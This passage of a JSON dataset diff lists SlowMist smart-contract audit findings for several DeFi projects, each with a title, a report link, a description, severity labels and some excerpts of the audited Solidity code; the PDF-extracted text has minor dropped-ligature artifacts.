Suggestion" + ] + }, + { + "title": "Risk of excessive authority", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - ENF_ETH_Lowrisk_en-us.pdf", + "body": "10 In the protocol, the owner role has many permissions, such as: the owner can set sensitive parameters, can suspend the contract, can make emergency withdrawals, can migrate the funds of the SS contract, etc. It is obviously inappropriate to give all the permissions of the protocol to the owner, which will greatly increase the single point of risk.", + "labels": [ + "SlowMist", + "ENF_ETH_Lowrisk", + "Type: Authority Control Vulnerability", + "Severity: Medium" + ] + }, + { + "title": "Compound interest slippage check issue", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - ENF_ETH_Lowrisk_en-us.pdf", + "body": "In the router contract, no slippage check is performed during the swap operation. If there are more funds with compound interest, there will be a risk of being attacked by sandwiches. ", + "labels": [ + "SlowMist", + "ENF_ETH_Lowrisk", + "Type: Design Logic Audit", + "Severity: Low" + ] + }, + { + "title": "Redundant collectEndTime check", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/Desyn Phase3 - SlowMist Audit Report_en-us.pdf", + "body": "In the CongurableRightsPool contract, users can redeem underlying assets through the exitPool function. When the pool is a closed ETF, it will check isCompletedCollect and collectEndTime to decide whether to perform _claimManagerFee operation. But when isCompletedCollect is true, the collectEndTime check will be performed in snapshotEndAssets, and when isCompletedCollect is false, the collectEndTime check will be performed in exitPoolHandleB. Hence the collectEndTime check before the _claimManagerFee operation is redundant. ", + "labels": [ + "SlowMist", + "Desyn Phase3 - SlowMist Audit Report", + "Type: Others", + "Severity: Suggestion" + ] + }, + { + "title": "Redundant closureEndTime check on exitPool", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/Desyn Phase3 - SlowMist Audit Report_en-us.pdf", + "body": "In the CongurableRightsPool contract, users can redeem underlying assets through the exitPool function. When the pool is a closed ETF and isCloseEtfCollectEndWithFailure is false, it will check that the current time must be greater than closureEndTime + 5 minutes before allowing the user to exit. However, it should be noted that the snapshotEndAssets operation will be performed before this. The snapshotEndAssets function will also check whether the current time is greater than closureEndTime + 5 minutes . Only the admin and owner can execute snapshotEndAssets within 5 minutes after the closure period ends. Otherwise, the transaction will be reverted. Therefore, the closureEndTime check in the exitPool function is redundant. When snapshotEndAssets cannot be performed, the entire transaction will be reverted, and subsequent closureEndTime checks will not be performed. ", + "labels": [ + "SlowMist", + "Desyn Phase3 - SlowMist Audit Report", + "Type: Others", + "Severity: Suggestion" + ] + }, + { + "title": "Redundant performance fee calculation", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/Desyn Phase3 - SlowMist Audit Report_en-us.pdf", + "body": "In the exitPool function of the CongurableRightsPool contract, redeemAndPerformanceFeeReceived, nalAmountOut and redeemFeeReceived are calculated through exitPoolHandleA. However, since the performance fee will be calculated uniformly in the snapshotEndAssets operation, there is no need to process the performance fee in the exitPool function. ", + "labels": [ + "SlowMist", + "Desyn Phase3 - SlowMist Audit Report", + "Type: Others", + "Severity: Suggestion" + ] + }, + { + "title": "The time allowed for snapshots is too short", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/Desyn Phase3 - SlowMist Audit Report_en-us.pdf", + "body": "In the CongurableRightsPool contract when the closed ETF completes collect and the collection period has ended, the current total value of the ETF can be recorded through the snapshotBeginAssets function. However, users can only call the snapshotBeginAssets function within 15 minutes after the end of the collection period. If there is congestion on the chain, it may not be possible to call the snapshot in time within 15 minutes. ", + "labels": [ + "SlowMist", + "Desyn Phase3 - SlowMist Audit Report", + "Type: Design Logic Audit", + "Severity: Low" + ] + }, + { + "title": "Duplicate decimal processing issue", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/Desyn Phase3 - SlowMist Audit Report_en-us.pdf", + "body": "In the DesynChainlinkOracle contract, the getPrice function is used to obtain the corresponding token price from prices, getChainlinkPrice, and getUniswapPrice, and perform decimal processing. However, decimal has been processed in getChainlinkPrice and getUniswapPrice, and theoretically, the returned decimal will be 1e18. Therefore, processing decimals through decimalDelta will cause decimals to be enlarged. Note that the amountIn passed in for the consult in the getUniswapPrice function is 1e18, which needs to be ensured that the token decimal in twapOracle matches it in practice ", + "labels": [ + "SlowMist", + "Desyn Phase3 - SlowMist Audit Report", + "Type: Design Logic Audit", + "Severity: Critical" + ] + }, + { + "title": "Decimal processing issue in AllPrice calculation", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/Desyn Phase3 - SlowMist Audit Report_en-us.pdf", + "body": "In the DesynChainlinkOracle contract, the getAllPrice function is used to calculate the total value of the specied amount of tokens. It is calculated by badd(fundAll, bmul(getPrice(t), tokenAmountOut)) , theoretically the decimal returned by getPrice is 1e18, and the decimal of tokenAmountOut is consistent with the decimal of the token itself. Therefore, multiplying these two values will result in a very large decimal in the nal result. The getNormalizedWeight function is also aected by this, but this is not harmful to normal business. Note: ", + "labels": [ + "SlowMist", + "Desyn Phase3 - SlowMist Audit Report", + "Type: Design Logic Audit", + "Severity: Critical" + ] + }, + { + "title": "Redundant code issue", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/Desyn Phase3 - SlowMist Audit Report_en-us.pdf", + "body": "In the SmartPoolManager library, the exitPoolHandle function has been deprecated since closed ETF prots are calculated in snapshotEndAssets. ", + "labels": [ + "SlowMist", + "Desyn Phase3 - SlowMist Audit Report", + "Type: Others", + "Severity: Suggestion" + ] + }, + { + "title": "Token list conict in recordTokenInfo", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/Desyn Phase3 - SlowMist Audit Report_en-us.pdf", + "body": "When the user performs createPool and joinPool, if the Pool is a closed ETF and the current time is within the collection period, the KOL invitation amount will be recorded through UserVault's recordTokenInfo interface. But unfortunately, the tokens in the Pool can be Bind/unBind at any time, which will cause the list of tokens supported by the Pool to change. If the recordTokenInfo operation is performed when the Pool token list changes, the amount recorded by variables such as poolInviteTotal, kolTotalAmountList, and kolUserInfo may be disturbed. ", + "labels": [ + "SlowMist", + "Desyn Phase3 - SlowMist Audit Report", + "Type: Design Logic Audit", + "Severity: Critical" + ] + }, + { + "title": "couldManagerClaim not checked when managerClaim", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/Desyn Phase3 - SlowMist Audit Report_en-us.pdf", + "body": "In the UserVault contract, the Manager role can claim management fees through the managerClaim function, but it does not check whether the couldManagerClaim parameter is true. ", + "labels": [ + "SlowMist", + "Desyn Phase3 - SlowMist Audit Report", + "Type: Design Logic Audit", + "Severity: Low" + ] + }, + { + "title": "Some redundant invoke functions", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/Desyn Phase3 - SlowMist Audit Report_en-us.pdf", + "body": "In the Invoke library, the strictInvokeTransfer, invokeUnwrapWETH, invokeWrapWETH, and invokeMint functions are not used. ", + "labels": [ + "SlowMist", + "Desyn Phase3 - SlowMist Audit Report", + "Type: Others", + "Severity: Suggestion" + ] + }, + { + "title": "Risk of ETF falsication", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/Desyn Phase3 - SlowMist Audit Report_en-us.pdf", + "body": "In the RebalanceAdapter contract, the Manager role can adjust the position of the pool through the rebalance function. But the address of the ETF is obtained from the rebalanceInfo passed in by the user. If a malicious user passes in a fake ETF, the check in the onlyManager decorator will be bypassed, and the _verifyWhiteToken check of token1 and the isCompletedCollect and collectEndTime checks will be useless. Malicious users can steal bPool funds through _makeSwap and bind malicious tokens. The approve function also has this risk, but it doesn't break the protocol too much ", + "labels": [ + "SlowMist", + "Desyn Phase3 - SlowMist Audit Report", + "Type: Design Logic Audit", + "Severity: Critical" + ] + }, + { + "title": "Risk of the Manager role potentially disrupting the protocol", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/Desyn Phase3 - SlowMist Audit Report_en-us.pdf", + "body": "In the RebalanceAdapter contract, the Manager role can adjust the position of the ETF through the rebalance function. It will use the _makeSwap function to call Uniswap, 1inch and other DEXs for token swaps to adjust token positions. But unfortunately, the swap path of the token is not checked during the token swap process, which will cause the Manager role to pass in a carefully constructed malicious swap path to steal the middle token0 of the ETF. ", + "labels": [ + "SlowMist", + "Desyn Phase3 - SlowMist Audit Report", + "Type: Design Logic Audit", + "Severity: Medium" + ] + }, + { + "title": "Double slippage check", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/Desyn Phase3 - SlowMist Audit Report_en-us.pdf", + "body": "In the RebalanceAdapter contract, the Manager role can adjust the position of the ETF through the rebalance function. It will use the _makeSwap function to call Uniswap, 1inch and other DEXs for token swaps to adjust token positions. During the swap process, the slippage will be checked by passing minReturn to the external DEXs, but the implementation of the slippage check of the external DEXs is uncontrollable. If the slippage protection of the external DEXs fails, it will aect the funds of users in the protocol. (1inch users encountered invalid slippage check before) ", + "labels": [ + "SlowMist", + "Desyn Phase3 - SlowMist Audit Report", + "Type: Design Logic Audit", + "Severity: Low" + ] + }, + { + "title": "Does not follow the Checks-Eects-Interactions specication", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/Desyn Phase3 - SlowMist Audit Report_en-us.pdf", + "body": "In the RebalanceAdapter contract, the _makeSwap function is used for token swap. When the swap type is not UNISWAPV3 and UNISWAPV2, the parameters passed in by the user will be checked through _validateData . However, the execute operation is performed rst, and the _validateData operation is performed after the token exchange is completed. This is not in line with the follow the Checks-Effects-Interactions principle. ", + "labels": [ + "SlowMist", + "Desyn Phase3 - SlowMist Audit Report", + "Type: Others", + "Severity: Suggestion" + ] + }, + { + "title": "Perform strict parameter checking", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/Desyn Phase3 - SlowMist Audit Report_en-us.pdf", + "body": "In the RebalanceAdapter contract, the _validateData function is used to check the exchange parameters, but it only parses the recipient and amountIn for checking, but does not check whether other key parameters such as srcToken, dstToken, clipperExchange, makerAsset, takerAsset are in line with expectations. ", + "labels": [ + "SlowMist", + "Desyn Phase3 - SlowMist Audit Report", + "Type: Others", + "Severity: Suggestion" + ] + }, + { + "title": "Redundant aggregator parameter", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/Desyn Phase3 - SlowMist Audit Report_en-us.pdf", + "body": "In the RebalanceAdapter contract, the _validateData function is used to check the conversion parameters, but the aggregator parameter it receives is not used. ", + "labels": [ + "SlowMist", + "Desyn Phase3 - SlowMist Audit Report", + "Type: Others", + "Severity: Suggestion" + ] + }, + { + "title": "Incorrect approval operation", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/Desyn Phase3 - SlowMist Audit Report_en-us.pdf", + "body": "In the RebalanceAdapter contract, the Manager role can adjust the position of the ETF through the rebalance function. If token1 has not been bound in bPool, it will be approved rst. However, the subsidy of this contract was wrongly approved to bPool, which will cause bPool to be unable to transfer tokens from CRP in the future. ", + "labels": [ + "SlowMist", + "Desyn Phase3 - SlowMist Audit Report", + "Type: Design Logic Audit", + "Severity: Medium" + ] + }, + { + "title": "Risk of excessive authority", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/Desyn Phase3 - SlowMist Audit Report_en-us.pdf", + "body": "There is an execute function in the CRP and bPool contracts so that the Manager can manage the ETF. In bFactory, the Blabs role can arbitrarily register modules to gain control over CRP. The registered modules can use the execute function in CRP to call the execute function in bPool to perform any operations. This would pose a huge risk to users' funds. And the Manager can approve the tokens in the bPool through the approve function of the RebalanceAdapter contract, which will also bring huge risks to the user's funds. The above problems lead to the risk of excessive permissions of the Blabs role and the Manager role. ", + "labels": [ + "SlowMist", + "Desyn Phase3 - SlowMist Audit Report", + "Type: Authority Control Vulnerability Audit", + "Severity: High" + ] + }, + { + "title": "Enforce strict permission controls", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/Desyn Phase3 - SlowMist Audit Report_en-us.pdf", + "body": "In the LiquidityPool contract, any user can call the joinPool, exitPool, and gulp functions to add/remove liquidity/record token balances, which will make it impossible to charge various fees to users in CRP. ", + "labels": [ + "SlowMist", + "Desyn Phase3 - SlowMist Audit Report", + "Type: Design Logic Audit", + "Severity: Medium" + ] + }, + { + "title": "Business logic issue", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - Unemeta_en-us.pdf", + "body": "1.In the UnemetaMarket contract, the matchSellerOrdersWETH and matchSellerOrders use the strategy to match orders, but the canExecuteTakerBid function is not in the StrategyFixedPrice contract. ", + "labels": [ + "SlowMist", + "Unemeta", + "Type: Design Logic Audit", + "Severity: Medium" + ] + }, + { + "title": "Risk of excessive authority", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - Unemeta_en-us.pdf", + "body": "The owner role of the RoyaltyFeeRegistry and RoyaltyFeeSetter contract can update the royaltyFeeLimit and the FeeInfo of the NFT collection. ", + "labels": [ + "SlowMist", + "Unemeta", + "Type: Authority Control Vulnerability", + "Severity: Low" + ] + }, + { + "title": "Risk of replay attack", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - Unemeta_en-us.pdf", + "body": "13 The chainid is dened when the contract is initialized, but it is not reimplemented when DOMAIN(domainSeparator) is used in the verify function. So the domainSeparator contains the chainId and is dened at contract deployment instead of reconstructed for every signature, there is a risk of possible replay attacks between chains in the event of a future chain split. ", + "labels": [ + "SlowMist", + "Unemeta", + "Type: Replay Vulnerability", + "Severity: Suggestion" + ] + }, + { + "title": "Missing event records", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - PancakeSwap Stable Swap_en-us.pdf", + "body": "In the PancakeStableSwap contract, the owner can set the is_killed, balances and admin_actions_deadline parameters respectively through the kill_me, unkill_me, donate_admin_fees and revert_new_parameters functions, but no event recording is performed. ", + "labels": [ + "SlowMist", + "PancakeSwap Stable Swap", + "Type: Others", + "Severity: Suggestion" + ] + }, + { + "title": "Risk of excessive authority", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - Ring Protocol_en-us.pdf", + "body": "1.In the FewWrappedToken contract, the burner role can burn any users Wrapped tokens through the burnFrom function without users approval. All role settings are completed in the core contract, which is not within the scope of this audit. ", + "labels": [ + "SlowMist", + "Ring Protocol", + "Type: Authority Control Vulnerability Audit", + "Severity: High" + ] + }, + { + "title": "Token compatibility reminder", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - Ring Protocol_en-us.pdf", + "body": "In the FixedStakingRewards contract, users can stake, stakeWithPermit, and withdraw the stakeingTokens by safetransferFrom and safetransfer functions to the staking contract and the amount will be directly recorded in the totalSupply. If the stakingTokens are deationary tokens, the actual amount of tokens received by the FixedStakingRewards contract will be less than the amount recorded by the amount parameter. ", + "labels": [ + "SlowMist", + "Ring Protocol", + "Type: Others", + "Severity: Suggestion" + ] + }, + { + "title": "Potential token decimal compatibility reminder", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - Ring Protocol_en-us.pdf", + "body": "In the FixedStakingRewards contract, users can stake the tokens through the stake and stakeWithPermit functions. It will update each totalSupply and balances parameters according to the amount of user deposits. These parameters will not distinguish dierent stakingTokens, if the stakingTokens deposit with dierent decimals will may lead to errors in the calculation of rewards in the protocol.", + "labels": [ + "SlowMist", + "Ring Protocol", + "Type: Others", + "Severity: Suggestion" + ] + }, + { + "title": "Missing the event records", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - Ring Protocol_en-us.pdf", + "body": "In the FixedStakingRewards contract, the rewardSetter can arbitrarily modify every rewardPerTokenPerSecond , periodFinish , and rewardSetter parameters in each StakingInfo, but there are no event logs. ", + "labels": [ + "SlowMist", + "Ring Protocol", + "Type: Others", + "Severity: Suggestion" + ] + }, + { + "title": "Missing the 0 address check", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - Ring Protocol_en-us.pdf", + "body": "In the FixedStakingRewards and CoreRef contract, the Governor role can modify the _core address and the rewardSetter can modify the rewardSetter address, but there are no 0 address checks. ", + "labels": [ + "SlowMist", + "Ring Protocol", + "Type: Others", + "Severity: Suggestion" + ] + }, + { + "title": "Malleable attack risk", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - Ring Protocol_en-us.pdf", + "body": "In the permit function of the FewWrappedToken contract, it restores the address of the signer through the ecrecover function, but does not check the value of v and s. Since EIP2 still allows the malleability for ecrecover, this will lead to the risk of transaction malleability attacks. ", + "labels": [ + "SlowMist", + "Ring Protocol", + "Type: Replay Vulnerability", + "Severity: Suggestion" + ] + }, + { + "title": "Risk of replay attack", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - Ring Protocol_en-us.pdf", + "body": "DOMAIN_SEPARATOR is dened when the contract is initialized, but it is not reimplemented when DOMAIN_SEPARATOR is used in the permit function. So the DOMAIN_SEPARATOR contains the chainId and is dened at contract deployment instead of reconstructed for every signature, there is a risk of possible replay attacks between chains in the event of a future chain split. ", + "labels": [ + "SlowMist", + "Ring Protocol", + "Type: Replay Vulnerability", + "Severity: Suggestion" + ] + }, + { + "title": "Preemptive Initialization", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - Ring Protocol_en-us.pdf", + "body": "By calling the initialize and deploy functions to initialize the contracts, there is a potential issue that malicious attackers preemptively call the initialize function to initialize. ", + "labels": [ + "SlowMist", + "Ring Protocol", + "Type: Race Conditions Vulnerability", + "Severity: Suggestion" + ] + }, + { + "title": "Risk of excessive authority", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - getBTC.pdf", + "body": "1.In the TokenExchange contract, the owner role can set vaults mapping through the setVaults function. TokenExchange.sol#L74-L77 function setVaults(address valut, bool status) external onlyOwner { vaults[valut] = status; emit SetVaults(valut, status); } 2.In the TokenExchange contract, the owner role can set the Operator role address through the setOperator function; the owner's ownership can be transferred through the transferOwnership function. TokenExchange.sol#L90-L94,L95-L99 function transferOwnership(address newOwner) external onlyOwner { require(newOwner != address(0),\"Owner_Should_Not_Zero_Address\"); owner = newOwner; emit TransferOwnership(newOwner); } function setOperator(address newOp) external onlyOwner { operator = newOp; emit SetOperator(newOp); } 3.In the TokenExchange contract, the owner role can withdraw the ERC20 token in the contract through the withdrawERC20 function; the Native token in the contract can be withdrawn through the withdrawBTC function. TokenExchange.sol#L78-L82,L82-L88 function withdrawERC20(address tokenAddress, address receiver, uint256 amount) external onlyOwner { require(amount <= IERC20(tokenAddress).balanceOf(address(this)),\"Token_Not_Enough\"); SafeERC20.safeTransfer(IERC20(tokenAddress), receiver, amount); emit Withdrawn(tokenAddress, receiver, amount); } function withdrawBTC(address payable receiver, uint256 amount) external onlyOwner { require(amount <= address(this).balance,\"BTC_Not_Enough\"); (bool success, bytes memory returnData) = receiver.call{value: amount}(\"\"); require(success, string(returnData)); emit Withdrawn(address(0), receiver, amount); }", + "labels": [ + "SlowMist", + "getBTC", + "Type: Authority Control Vulnerability Audit", + "Severity: Medium" + ] + }, + { + "title": "Missing zero address check", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - getBTC.pdf", + "body": "In the TokenExchange contract, the withdrawBTC function and setOperator function lack zero address check. TokenExchange.sol#L83-L88,L95-L98 function withdrawBTC(address payable receiver, uint256 amount) external onlyOwner { require(amount <= address(this).balance,\"BTC_Not_Enough\"); (bool success, bytes memory returnData) = receiver.call{value: amount}(\"\"); require(success, string(returnData)); emit Withdrawn(address(0), receiver, amount); } function setOperator(address newOp) external onlyOwner { operator = newOp; emit SetOperator(newOp); }", + "labels": [ + "SlowMist", + "getBTC", + "Type: Others", + "Severity: Suggestion" + ] + }, + { + "title": "Variable names are the same", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - getBTC.pdf", + "body": "The private string variable _name dened in the TokenExchange contract has the same name as the private immutable string _name inherited from the EIP712 contract. TokenExchange.sol#L19 string private _name; EIP712.sol#L49 ShortString private immutable _name;", + "labels": [ + "SlowMist", + "getBTC", + "Type: Others", + "Severity: Information" + ] + }, + { + "title": "Risk of excessive authority", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - peg-Token.pdf", + "body": "1.The PegToken contracts and the TokenManager contract are implemented using the OpenZeppelin upgradeable model, allowing the AdminRole role to perform contract upgrades. In the TokenManager contract, the Operator role can upgrade the specied PegToken contract through the upgradeToken function.However, this design introduces an excessive privilege risk. TokenManager.sol#L123-L131 function upgradeToken(string memory symbol, address newImpl, bytes memory callData) external onlyRole(Operator) { require(newImpl != address(0), \"invalid new impl\"); PegToken peg = getDeployedTokenOrRevert(symbol); peg.upgradeToAndCall(newImpl, callData); } 2.In the TokenManager contract, the Operator role can call the setBlacklist function of the specied PegToken contract through the setBlackList function to add a blacklist address. TokenManager.sol#L79-L87 function setBlackList(string memory symbol, address account, bool toBlacklist) external onlyRole(Operator) { require(account != address(0), \"invalid account\"); PegToken peg = getDeployedTokenOrRevert(symbol); peg.setBlacklist(account, toBlacklist); } PegToken.sol#L86-L92 function setBlacklist(address account, bool toBlacklist) external onlyManager { isBlacklist[account] = toBlacklist; emit BlacklistAdded(account, toBlacklist); } 3.In the TokenManager contract, the Operator role can add the Minter role by calling the setMinter function of the specied PegToken contract through the setMinter function. TokenManager.sol#L89-L97 function setMinter(string memory symbol, address account, bool asMinter) external onlyRole(Operator) { require(account != address(0), \"invalid account\"); PegToken peg = getDeployedTokenOrRevert(symbol); peg.setMinter(account, asMinter); } PegToken.sol#L94-L100 function setMinter(address account, bool asMinter) external onlyManager { minters[account] = asMinter; emit MinterSet(account, asMinter); } 4.In the PegToken contract, the Minter role can mint any number of tokens by calling the mint function through the mint function. PegToken.sol#L112-L118 function mint(address to, uint256 amount) external onlyMinter notBlacklisted(to) { _mint(to, amount); } 5.In the TokenManager contract, the FreezeRole role can perform transfer operations by calling the recall function of the specied PegToken contract through the recall function. TokenManager.sol#L159-L165 function recall(string memory symbol, address from, address to, uint256 value) external onlyRole(FreezeRole) { PegToken peg = getDeployedTokenOrRevert(symbol); peg.recall(from, to, value); } PegToken.sol#L120-L126 function recall(address from, address to, uint256 value) external onlyManager { _transfer(from, to, value); emit TokenRecalled(from, to, value); } 6.In the TokenManager contract, the FreezeRole role can freeze the specied token at the specied address by calling the freeze function of the specied PegToken contract through the freezeToken function. TokenManager.sol#L143-L149 function freezeToken(string memory symbol, address account, uint256 value) external onlyRole(FreezeRole) { PegToken peg = getDeployedTokenOrRevert(symbol); peg.freeze(account, value); } PegToken.sol#L128-L136 function freeze(address account, uint256 value) external onlyManager { _transfer(account, address(this), value); freezedToken[account] += value; emit TokenFreezed(account, value); }", + "labels": [ + "SlowMist", + "peg-Token", + "Type: Authority Control Vulnerability Audit", + "Severity: Medium" + ] + }, + { + "title": "DoS issue", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - Flurry Bridge_en-us.pdf", + "body": "The getVoteCount function uses a for loop to count members votes. When the number of members is large, it will cause DoS due to the increased number of for loops. bridge/contracts/contracts/Federation.sol#L242-L249 function getVoteCount(bytes32 processId) public view override returns(uint) { uint count = 0; for (uint i = 0; i < members.length; i++) { if (votes[processId][members[i]]) count += 1; } return count; }", + "labels": [ + "SlowMist", + "Flurry Bridge", + "Type: Denial of Service Vulnerability", + "Severity: Low" + ] + }, + { + "title": "Safety Reminders", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - Flurry Bridge_en-us.pdf", + "body": "To capture events in the cross-chain bridge, the implementation of subscribing to the events of the specied contract should be adopted to avoid the attacks of fake contract events.", + "labels": [ + "SlowMist", + "Flurry Bridge", + "Type: Others", + "Severity: Suggestion" + ] + }, + { + "title": "Limit of value range", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - Flurry Bridge_en-us.pdf", + "body": "Owner can set fee arbitrarily, and there is no restriction on the value range. and the fee variable is not used in the contract code. bridge/contracts/contracts/Registry.sol#L87-L91 function setFee(address localaddr_, uint256 fee_) external override onlyOwner { require(fee_ > 0, \"Registry: Fee Should be> 0\"); fee[localaddr_] = fee_; emit FeeChanged(localaddr_, fee_); } 8", + "labels": [ + "SlowMist", + "Flurry Bridge", + "Type: Others", + "Severity: Suggestion" + ] + }, + { + "title": "Useless code", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - Flurry Bridge_en-us.pdf", + "body": "There are a lot of comment codes in the contract. It is necessary to conrm whether the comment codes are redundant codes. bridge/contracts/contracts/Registry.sol#L43-L85 // function registerCall( // uint256 alienChainId_, // address alienChainContractAddr_, // address localChainContractAddr_, // bytes4 callSig_ // ) external onlyOwner { // bytes32 callRegistryID = Utils.getCallRegistryId( // alienChainId_, // alienChainContractAddr_, // localChainContractAddr_, // callSig_ // ); // require(!callRegistry[callRegistryID], \"Registry: Call already exists in callRegistry\"); // callRegistry[callRegistryID] = true; // emit CallRegistered( // alienChainId_, // alienChainContractAddr_, // localChainContractAddr_, // callSig_ // ); // } // function unregisterCall( 9 // uint256 alienChainId_, // address alienChainContractAddr_, // address localChainContractAddr_, // bytes4 callSig_ // ) external onlyOwner { // bytes32 callRegistryID = Utils.getCallRegistryId( // alienChainId_, // alienChainContractAddr_, // localChainContractAddr_, // callSig_ // ); // require(callRegistry[callRegistryID], \"Registry: Call not registered\"); // delete callRegistry[callRegistryID]; // emit CallUnregistered( // alienChainId_, // alienChainContractAddr_, // localChainContractAddr_, // callSig_ // ); // } bridge/contracts/contracts/Federation.sol#L159-L240 // function voteCall( // uint256 srcChainID_, // address srcChainContractAddress_, // address dstChainContractAddress_, // bytes32 transactionHash_, // uint32 logIndex_, // bytes calldata payload // ) external override onlyMember { // if (bridge.isCallProcessed( // srcChainID_, // srcChainContractAddress_, // dstChainContractAddress_, // transactionHash_, // logIndex_, // payload // )) { // return; // } // bytes32 callId = Utils.getCallId( 10 // srcChainID_, // srcChainContractAddress_, // dstChainContractAddress_, // transactionHash_, // logIndex_, // payload // ); // if (votes[callId][_msgSender()]) // return; // votes[callId][_msgSender()] = true; // emit VotedCall( // srcChainID_, // srcChainContractAddress_, // dstChainContractAddress_, // transactionHash_, // logIndex_, // _msgSender(), // callId, // payload // ); // uint voteCount = getVoteCount(callId); // if ((voteCount >= required) && (voteCount >= members.length / 2 + 1)) { // bridge.acceptCall( // srcChainID_, // srcChainContractAddress_, // dstChainContractAddress_, // transactionHash_, // logIndex_, // payload // ); // emit ExecutedCall(callId); // } // } // function hasVotedCall( // uint256 srcChainID_, // address srcChainContractAddress_, // address dstChainContractAddress_, // bytes32 transactionHash_, // uint32 logIndex_, // bytes calldata payload // ) external view override returns(bool) { // bytes32 callId = Utils.getCallId( 11 // srcChainID_, // srcChainContractAddress_, // dstChainContractAddress_, // transactionHash_, // logIndex_, // payload // ); // return votes[callId][_msgSender()]; // } // function isCallProcessed( // uint256 srcChainID_, // address srcChainContractAddress_, // address dstChainContractAddress_, // bytes32 transactionHash_, // uint32 logIndex_, // bytes calldata payload // ) external view override returns(bool) { // return bridge.isCallProcessed(srcChainID_, srcChainContractAddress_, dstChainContractAddress_, transactionHash_, logIndex_, payload); // } bridge/contracts/contracts/Bridge.sol#L114-L154 // function acceptCall( // uint256 srcChainID_, // address srcChainTokenAddress_, // address dstChainTokenAddress_, // bytes32 transactionHash_, // uint32 logIndex_, // bytes calldata payload // ) external override onlyFederation nonReentrant { // require(dstChainTokenAddress_ != address(0), \"Bridge: destination chain token address is null\"); // require(srcChainTokenAddress_ != address(0), \"Bridge: src chain token address is null\"); // require(transactionHash_ != bytes32(0), \"Bridge: Transaction is null\"); // require(srcChainTokenAddress_ != address(0), \"src token address is null\"); // bytes4 sig = // payload[0] | // (bytes4(payload[1]) >> 8) | // (bytes4(payload[2]) >> 16) | // (bytes4(payload[3]) >> 24); 12 // bytes32 callRegistryID = Utils.getCallRegistryId( // srcChainID_, // srcChainTokenAddress_, // dstChainTokenAddress_, // sig // ); // require(tokenRegistry.callRegistry(callRegistryID), \"Call Not Registered\"); // bytes32 callId = Utils.getCallId( // srcChainID_, // srcChainTokenAddress_, // dstChainTokenAddress_, // transactionHash_, // logIndex_, // payload // ); // require(processed[callId] == 0, \"Bridge: Already processed\"); // processed[callId] = block.number; // // call the function // (bool success, ) = dstChainTokenAddress_.call(payload); // require(success, \"call fail\"); // } bridge/contracts/libraries/Utils.sol#L6-L18 // function getCallRegistryId( // uint256 alienChainId_, // address alienChainContractAddr_, // address localChainContractAddr_, // bytes4 callSig_ // ) internal pure returns(bytes32) { // return keccak256(abi.encodePacked( // alienChainId_, // alienChainContractAddr_, // localChainContractAddr_, // callSig_ // )); // } 13 